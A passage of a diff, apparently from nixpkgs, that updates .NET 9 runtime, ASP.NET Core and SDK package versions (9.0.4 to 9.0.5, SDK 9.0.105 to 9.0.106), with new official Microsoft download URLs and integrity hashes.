+        hash = "sha512-OPTkSCy26Na+K4J2xpIHmW+KquH3QUguRR3PH6pr0pggL0Cs9dvEepp2yC3oy5422K6yijhyBQ6DnRGJmqh8kw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "9.0.4";
-        hash = "sha512-FelsHdfHzb4g50fIeP1KHuAfiO2C81c02sJzCPiuKKWbAj3s8e3zecnMtowyjir7Qm/kncDpjd7DH35YiBrTPg==";
+        version = "9.0.5";
+        hash = "sha512-efQXE4FXpKHFSaW2/qEG6QHZfe2QnOXzyhVxQdF35HcExk7zhkRzdQigtQ35ugDfjfG2E0bnMijQgAowJ/OjeQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "9.0.4";
-        hash = "sha512-2y4Hj4DEARgjEBZWlPA1NpPreAurxWNUVTQ3Bm0d4dk4MN3aWgxb/hcLiQRZLMtdeqwOU7K8bl978BokvgFmHA==";
+        version = "9.0.5";
+        hash = "sha512-2MkjZyR4eKtpIwYtwa3/aJD7v8dz8CfE2wQO0+HX0kiwi/UbUp+R+l6//QcjEm8z4CLZUiR7iu1GoVFtbHVFUw==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-MoMJjEK69XZ0z+1x8+WmJcfSILixWlZTEzFIlBm82Mt19KaWo8hCWiDIH/mP1dpXTNsJQ85Kq+vxE/Rj9iEvdw==";
+        version = "9.0.5";
+        hash = "sha512-nYw2JUWOVAWFEkJ0QF6YPOkB5/YtauREJqPDvu9XOETbozItpvO+qkrEfMUfsZzZOhg0pDJzYrLH0Y1DfA0QOA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "9.0.4";
-        hash = "sha512-ltuezYYS3mO6dsexDw3S+81BN+4YQRkUtxyUOvkNKEowTXhmgWji/R4oGg3z13ZoOgiCgGISbfalBZDUoU1Btw==";
+        version = "9.0.5";
+        hash = "sha512-7RIDa9js+tIxcs24Ph4IbI3/bmimPcDHhWuO9wGEU0LC2FVSZbUnMOpdLUih5uOQYHx2upBrGqDXzs3U1YjtSQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "9.0.4";
-        hash = "sha512-aGqnUAharSnmYWmxglbKJD20a4gv4jk6fOhc7iIuqtF3OdiMoScXHECn2UKDUm6cr8obbpgyrjhBXIk2JDq+jA==";
+        version = "9.0.5";
+        hash = "sha512-DWQNw2TAkz2IghHmpdBmDy6fjJwUT0xpfl5KcN32EmXFgODbeDnlOHyGrW+DnOg/jeiBwidNz5bLH0Yeqkn0iw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "9.0.4";
-        hash = "sha512-IqJ12B7BxW5L6ZLaHO37g+1jN8GwGThJUOJgpJ9A5suK7mRh4R4GxqH4ubXFucVkFGIZEsJoUxO22BI/hjFOYQ==";
+        version = "9.0.5";
+        hash = "sha512-niFnR3jx4KQjMUg0MOP2OZAN80qoRnstTi26vwU6OREoVN7n+9sa3iRPaT+XyyUa+/egzbU2TTrR2zJ8+dNrzg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-dUPDP4B3AloQ1qbDdkaNEwOp/lbD7I+ZcAOANLAVfEvpZbpT6PJOlAwNsWGOj50Qn8v5s2C3nn85t5qwXRkaYg==";
+        version = "9.0.5";
+        hash = "sha512-AKZVJ95KmBq2a3LGiaBLwByTpbeiVOcQIbOpbvUxm4v593/2AfH5YkhBO3d9DkX/WcmTIxCuVYArLKuIBBr5wg==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "9.0.4";
-        hash = "sha512-KfaK87LcwhkkyEOj1PF7C+COqTZkInp0b/SQruYU3LvsuY65avecknqxFEQOHu35KuT4HJODq+WrLU3NYQFVXw==";
+        version = "9.0.5";
+        hash = "sha512-7FzK7ZFl2uIdoxbry0OhzREpXD1hw2JscEnScAqakRhN+VjxYwegvwSAHqIBKWIoP4lwnFrlCWi0a7Tx6uqPvQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "9.0.4";
-        hash = "sha512-w/7QxkxLeYlTjfGDXDWTSl/JdVpOlqBBrLsdAG/yRBsyq1ApTIKJBNNO8/DxrFfvVznF517dSdkzFnJn0oAnJg==";
+        version = "9.0.5";
+        hash = "sha512-OBtv2h92NFsBd5igAFCfEKhEPLoaAzlWEOFq7DgIwxSK0dRgxsyoN1ucuFyxcdhoeoL/tgbCCln9PPhFiOFKzg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "9.0.4";
-        hash = "sha512-+Ln1y3l/IsRlIrS8WsTF3TSHN6OzeJn0gokPIsHwZYFp/4P6cSMQWxIRBJQrW/0GBM136Cu2kcm82TT9nI6HCw==";
+        version = "9.0.5";
+        hash = "sha512-206fJvhhVksd4A6+vl6SJQSOIBI0RnX7LTpTzTZTI623ujzvNeRKxnvfaPjvic3p4y5U4ylY87ZKnmDyxF4LAQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "9.0.4";
-        hash = "sha512-ZL+E6+SUiHXJuRoV+ZdyoxS2Ato6QnMmrfai7LLzKDyc6qK1+5aTUzGqe0RLSRoGn8zfZUrN+z6Ny7HuqGVsBA==";
+        version = "9.0.5";
+        hash = "sha512-pKjelywn3XQhcEjlRdH+KG+itTvvh7md1Tr6+lH7RSiQewicsTO62pRTRPmEPUxEqRQPcTfSKVgC/xqvv1cWrQ==";
       })
     ];
   };
 
 in
 rec {
-  release_9_0 = "9.0.4";
+  release_9_0 = "9.0.5";
 
   aspnetcore_9_0 = buildAspNetCore {
-    version = "9.0.4";
+    version = "9.0.5";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-linux-arm.tar.gz";
-        hash = "sha512-azwcWvEvsJkQln1khWA9BMijxHqea7Ecc3Wlrht2F1sBOvtJI8rdmaeiK3gspLi4JAcL9SUsVIEySsAj/nLOpA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-arm.tar.gz";
+        hash = "sha512-eIX4bcjP1VVwFzn0fhxHQKzPuyqu7vYpwp/XXCEcpVbt+HN8lCcYz4t8+oiGAN17qBk6K+G7vwdUztlS12IXyA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-linux-arm64.tar.gz";
-        hash = "sha512-fMpAhDQcLpeObXXgnK4wijXefNhMWyfVJGudGz5qr/IAuujeWiW4FuMMO6NUvvF7hLrgzhUUSJVRhmHlOvGDMQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-arm64.tar.gz";
+        hash = "sha512-vR2xRaKbLu9EDroEkcW3C/KeZ5PrqrRT0pOb06wWH3wz4+Sx5lpzTdT9RBUTV7TBUKTPy1recknL8tAyZtazKw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-linux-x64.tar.gz";
-        hash = "sha512-8+rohjY0oFC5C2crFNRmpExiPKBsZQGjpw7+qT5UCZXi+jSK5e96PyeBEKm6JAQ6ZRFQo3jk5ahMJWkLczZBMg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-x64.tar.gz";
+        hash = "sha512-tguLX6a0U4BlFmzRJm0HXGTEZLKBFZ2YvwMTK/NjR4zMEYWppRc4y+N9hnUoIPa+St1SCBIKgN+yv0qLWNIsxA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-linux-musl-arm.tar.gz";
-        hash = "sha512-Ec6guRrlQrxNL8RRJHWVBx7rAfgB0zBfnJzNp8BLSxwyfudaIUUqwbWEpQpjnm1iInL8ernLt0Sou2kbRbrywg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-arm.tar.gz";
+        hash = "sha512-YryhSVOANUVOUhIuUGVy3SbtE7Nwfsd9zArXqzntONdpMXBnbjjuvOslKei1avpYePHAh087DYOR7AF9Jjhnrw==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-linux-musl-arm64.tar.gz";
-        hash = "sha512-Z/4Sw0xIWd2MULVxReL++7kp2+KnKaWov7GlNEFon2gpXP9NkxlP87lhEhLxNnTHDhQrLP479qV3EP1CBnIomA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-arm64.tar.gz";
+        hash = "sha512-EuBQLBGHmpPlpWjRm0o7UKCWQluSRyDP3E0s5TI0URhULqLdycxAn507cG9srClSr/o9JTF8vyQL1p1DFZ4c6w==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-linux-musl-x64.tar.gz";
-        hash = "sha512-idigXGX4huFwjb+k6pe6r2QCnsoq7puIPJ5RYSkFjFY2wxNVTwW961KAEzmrTjJuvrcI4U3Op1481w3bxfgcrw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-x64.tar.gz";
+        hash = "sha512-iA1sUWr0bdoGhsDlalXK1djDS/48rNvuaKnSGl/56e6TpsQn7wqr1MRauVqncu3JuJkn840HYZ22IZyT5vbkOw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-osx-arm64.tar.gz";
-        hash = "sha512-NEYfEiBMYcfyP/0Pibx2mEbeiukCwV40imcrm/J5GDsm8so1028cEqYFKbwpH0IlPhJ+w0ZGIdDP7aoOml2a3w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-osx-arm64.tar.gz";
+        hash = "sha512-t8U4cBgq0tJOBSfDvtbUYmdrOuFfqE45fuaMhLp6IrqnJVrfaBZvQclyE3gWnGOGTcL90HozqvAWwjqHoWjOxQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.4/aspnetcore-runtime-9.0.4-osx-x64.tar.gz";
-        hash = "sha512-sH0r72Bb2zb5x937XBg7pJZeb8s7TwDBSPvc1i/t4fHrQFVT0u+E9X4FdVjGQ7hxAoFszvoosusIUA/WtQtJDA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-osx-x64.tar.gz";
+        hash = "sha512-Zimt0BcbjwVBVbcLw7jcbOmfHZXGtlVoJWQcDophzagfIdB7x6p9mT/1H5VE72maJ+yhL9LV7rRnI63i/Sb5mg==";
       };
     };
   };
 
   runtime_9_0 = buildNetRuntime {
-    version = "9.0.4";
+    version = "9.0.5";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-linux-arm.tar.gz";
-        hash = "sha512-qs3pciRG43yL7eYMw9bcFNgQTKl3LLLXsF8/ePIhavLtZC+X3NTy8RwLdWfzQC1q4IwyYMD7EF9mS0qSoCTvGA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-arm.tar.gz";
+        hash = "sha512-AK62AMDFfFA0gGXYWM2F7GW3K7HBN4VD+RCPPNK18z1S8/A04UL0XpLHbBceMwkMJUTjZh0B6o8OK7IPEdW5lA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-linux-arm64.tar.gz";
-        hash = "sha512-kIZZAv0bq8SdKI77Yc14ymP0PPubvZND8ocf8NoCP4ASmzqcJu3JWD+7+KkZMu+608gjrYYi/jibILU/hyVPGw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-arm64.tar.gz";
+        hash = "sha512-/9f20Wu6ohSUtxtpLFSl45jzHPYAhw4CgjS9B2EsttQ2dMY3H6hHC9fxG0CmhEPSLjmoQVfKuOFvUsXFzu47gw==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-linux-x64.tar.gz";
-        hash = "sha512-+0If3YesK0FDtXRqBJ+ALRFDC3cEIr9gMQ7k6OLmoslD/4hw1N32icbg8Fv1lH/Uud/rVng+eWu09PAZGlq7LA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-x64.tar.gz";
+        hash = "sha512-Ap8d9YDEfyGq7zykDlwfuOVIVJeNE/6IVw33w0CEmf8LnblsSSwD7NtDqCqiTbvoFJHegRkTWSrGKsWN7pdbDg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-linux-musl-arm.tar.gz";
-        hash = "sha512-FSMVutTbYfbeIORxA+CAT2Tp28Otu4z4dMPpeaDRm0sm9frAfxzSJKiIH0r97bPCRPlwp9ZH6uGqRKwmBMQ1Jg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-arm.tar.gz";
+        hash = "sha512-zOCaJMC5hw4yk4mrKq4uduwiu3g4ZUhQqxe1aVH7oAsVygaS42PNXh5dENHh31poVH08IWFDa4VweNAYK+/SKg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-linux-musl-arm64.tar.gz";
-        hash = "sha512-+Ry0IgBcZMksgEsCZwUmSSRGy+NoYzV52/ZwpKbWecdO8BK47nP+pnLM2F8KpExxZO0gh2dyrxUFL6dEfBDiVQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-arm64.tar.gz";
+        hash = "sha512-3Umzt+5BW+Vm10qpn151lJ9k5wFA1NEOHu01SPU4LmJdXhfps7Qa5WQykhXjwWghEKwXMvMT8rOpDAh/elo5TQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-linux-musl-x64.tar.gz";
-        hash = "sha512-peWXZD3q4lqZh1m9mw6xm5M/E6NrHX8uRpYGipqeAyS/1DSQ6N7CIhaLjAY7aCf77oAYHkcAu0cSVQrMGAEEjA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-x64.tar.gz";
+        hash = "sha512-gaJt2RlTpHQgi0tDz0F0RC6flQJDfyV+Zuzv5Pm5ujzPWziZ2qwGHjoKzBQdW+IHwD4rERNvR5GykRw+8+JIiQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-osx-arm64.tar.gz";
-        hash = "sha512-zkp8lJGmMevBm6x1kj6NlLpdaZ8HMYWAQIuxvb1ny4pCv26HOX8mgDWAMmxHw9BIObx2LsnYQzIBmaFYfqB4vQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-osx-arm64.tar.gz";
+        hash = "sha512-EqHeE9GnLC5sUZjoOheOG5Mlx8Ropzh8XIopsIVxYL5ROVFgI0hc6RCOJukaNfqCUqjywNWdRpGxzkbWaq2lfw==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.4/dotnet-runtime-9.0.4-osx-x64.tar.gz";
-        hash = "sha512-oieQXqhpPU5q8wzURCTChJgEllzi2OWAfN6QDU6Esj/yY3lcos9oN2OChjsLteaqJ+z9VQMNKsUBK1/BGM4PzA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-osx-x64.tar.gz";
+        hash = "sha512-iz6NtMTvr5StbZRi1KcD9ZusOQuRd4d5nX+L55EHmK3ISpaDzanv6/s5ontBpTDptaCC3dGf2IT0PRZ5RsfMRA==";
       };
     };
   };
 
   sdk_9_0_1xx = buildNetSdk {
-    version = "9.0.105";
+    version = "9.0.106";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-linux-arm.tar.gz";
-        hash = "sha512-kErt7rmk7InVpqnlxcBg8gua2aLmewHG8Quvz3WzM+eXgnrlXD4PLz3z8acmXrMb1nioZ0u0Z9ceh8+x4GDDMQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-arm.tar.gz";
+        hash = "sha512-IxjIV4THukOiQ+D1Jix4zCmEqV/O74t4VQNYU9nHtCC362gcjfiiOWmSbWZSxpN8+xscKWHgoVXG8UUwIkC00w==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-linux-arm64.tar.gz";
-        hash = "sha512-bhhKa/f2toAJlvNJdv6DzgiRcQqVQHIhzfU99xhfIdzpiT76/Izx5xBPBaAqxV/iGuw7G20WHXt+CG1ylFgFbw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-arm64.tar.gz";
+        hash = "sha512-GAY+1Tnvz5emgms6NnuSV0M4Zj6BXkx60nOhdSSnq1411AdZb1zWscCjfmlbF6kVYgwURcqJu4UasP80rMo09Q==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-linux-x64.tar.gz";
-        hash = "sha512-95W7NfQytx+UDrYr+kyj311wj0l0Z64Wpn0tGYF6j36M9eb6p5FBLrDaAXvln/k6KtcjZ1s/MVLzm/9k1UX0wA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-x64.tar.gz";
+        hash = "sha512-+XfJCl5Ww9t7fU4jhEzbSW7pZr0xrWP4uENjp+/yij+xQQk1A4G9g23bxn1nUPP33VVHHkxdALAhQ0F0GFb7LQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-linux-musl-arm.tar.gz";
-        hash = "sha512-bmywuP3HHvOUXBc0vIXTGpYcBJKFanYoAvGlr0NZComPkvcX6N8p8LWF3r5+E6+hHtSCthGCERbAUTokbyOb1A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-arm.tar.gz";
+        hash = "sha512-LJqqzcQ+Lai8ZNtRe0q0Dzh/kSky3Cbpn0Mzi//SzthnRyXtGF5gqzF48OTnI+xfwpd09iszes1HUhvzia4Wzw==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-linux-musl-arm64.tar.gz";
-        hash = "sha512-4itX/8pLWxepeQLoz6gb47yVdel2J2Wy+TyefxVvmoiMdveWHg+JQggAdsysJc/s8XE44BakV1ik/9jF1/IWUQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-arm64.tar.gz";
+        hash = "sha512-g00TYlXiwiDnwDJ7xH6JMmtX4DUrarAau6Bzy9pNTSkzy8auREDyuZEaUq1dBbwPf/s255D56kVhVn3T4ivVFA==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-linux-musl-x64.tar.gz";
-        hash = "sha512-cSkXCbwN78Rh8pHZb1fwYmVAx3I9gtMA0UAdej/NFQts547UtLKZaxxGiN6y913bD9Kw7yIas9Vrws+OhSx95w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-x64.tar.gz";
+        hash = "sha512-KPWtrtyl37HAElwyN4lIXJclkaZcvVGPtdlR1zEx3h56kv8JcTYieI0CrPeJBvp0ElOMbH6bPEv2cV9klf+CbA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-osx-arm64.tar.gz";
-        hash = "sha512-dfvcxi0TWW0XgekKRKqDFH9w0V9wsXPliKASOT7k2ymdU0LxMXbZUxTPJMQb2tsy0XsnEDKDw/QSr7h3iYDxqg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-osx-arm64.tar.gz";
+        hash = "sha512-2145z/0yvpm5oO4oxu3pBjcYAzhpNwHRGnAtBW2v9QW9gtTnyPDLNB4g+gK5dlYS6ogIr0DaPrxqFs1tP8HqPg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.105/dotnet-sdk-9.0.105-osx-x64.tar.gz";
-        hash = "sha512-DwzNjDWdN9AmzojA4SHLaen46b5h1+KAMtUivwRuVRfsDzHqKDDQQFY27lhtstq1SuabNtUxH5m8stySnc5Iuw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-osx-x64.tar.gz";
+        hash = "sha512-wTKDAvkLLY0SOqCyfiCFcd17LMIwTgexqZe8BmRMXqMLsdCJ/A0/FO+kH/TQm5FA1Yqo/TtqGYeXXVbnUL2oDQ==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
diff --git a/pkgs/development/compilers/dotnet/9/deps.json b/pkgs/development/compilers/dotnet/9/deps.json
index 0632e0998958..2bfe37308154 100644
--- a/pkgs/development/compilers/dotnet/9/deps.json
+++ b/pkgs/development/compilers/dotnet/9/deps.json
@@ -1,50 +1,50 @@
 [
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "9f293a932eeac1b9729feb8608df2ccbb7d0a6c56829ad65d65b7b2b70023d58",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/9.0.4/runtime.linux-arm64.microsoft.netcore.ilasm.9.0.4.nupkg",
-    "version": "9.0.4"
+    "sha256": "76e7e5b92a854cf89db0e556f7763469b5f327ed9e8f76d43b369d59065c8a5e",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ilasm/9.0.5/runtime.linux-arm64.microsoft.netcore.ilasm.9.0.5.nupkg",
+    "version": "9.0.5"
   },
   {
     "pname": "runtime.linux-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "1e03fddfc4f39ede3a5ae0591385162af7af05dc1a0960db2da381767552e518",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/9.0.4/runtime.linux-arm64.microsoft.netcore.ildasm.9.0.4.nupkg",
-    "version": "9.0.4"
+    "sha256": "7b7427ed10a6631ebfe6239bf781dc858c238220abf552e425809deffe1042a6",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-arm64.microsoft.netcore.ildasm/9.0.5/runtime.linux-arm64.microsoft.netcore.ildasm.9.0.5.nupkg",
+    "version": "9.0.5"
   },
   {
-    "hash": "sha256-CaaWnWi1lq1ixpwBLRcGF/zOSKlqjsddPCa/w8kr/4M=",
+    "hash": "sha256-wL3+auDk8zqepncYjoGV3Ygf356iJFBofS4bSs1cTa8=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/9.0.4/runtime.linux-x64.microsoft.netcore.ilasm.9.0.4.nupkg",
-    "version": "9.0.4"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ilasm/9.0.5/runtime.linux-x64.microsoft.netcore.ilasm.9.0.5.nupkg",
+    "version": "9.0.5"
   },
   {
-    "hash": "sha256-aEKmX4clrPaLbNzoCyJNaMVTI/wI5kR1C0Qo3r+jjmk=",
+    "hash": "sha256-1NiRpV72L8i23u//VwAx5bwgm5655OghHzvNDcxpk20=",
     "pname": "runtime.linux-x64.Microsoft.NETCore.ILDAsm",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/9.0.4/runtime.linux-x64.microsoft.netcore.ildasm.9.0.4.nupkg",
-    "version": "9.0.4"
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.linux-x64.microsoft.netcore.ildasm/9.0.5/runtime.linux-x64.microsoft.netcore.ildasm.9.0.5.nupkg",
+    "version": "9.0.5"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILAsm",
-    "sha256": "c321b1d048624817a395cf9e052c1cf33adf885534c39a430f76f04e058da66e",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/9.0.4/runtime.osx-arm64.microsoft.netcore.ilasm.9.0.4.nupkg",
-    "version": "9.0.4"
+    "sha256": "e36cfc873fef8d0fbbb11f5f6ff7f9aeb118158d2d210d36ad8cf0633ea1d2ea",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ilasm/9.0.5/runtime.osx-arm64.microsoft.netcore.ilasm.9.0.5.nupkg",
+    "version": "9.0.5"
   },
   {
     "pname": "runtime.osx-arm64.Microsoft.NETCore.ILDAsm",
-    "sha256": "226f2c7cf4718d249ba0e86cc2eefae47b7680828b6d63385158a462cfa19014",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/9.0.4/runtime.osx-arm64.microsoft.netcore.ildasm.9.0.4.nupkg",
-    "version": "9.0.4"
+    "sha256": "1d0bccf90f6e412a53d19b2563156a1506e33875f4913a171ffe4a1700d59435",
+    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/9.0.5/runtime.osx-arm64.microsoft.netcore.ildasm.9.0.5.nupkg",
+    "version": "9.0.5"
   },
   {
     "pname": "runtime.osx-x64.Microsoft.NETCore.ILAsm",
-    "sha256": "3f0d43426a3f2a2447638fbe59751142dbf9c9c0a113486fb5abdead77b831b1",
-    "url": "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/9.0.4/runtime.osx-x64.microsoft.netcore.ilasm.9.0.4.nupkg",
-    "version": "9.0.4"
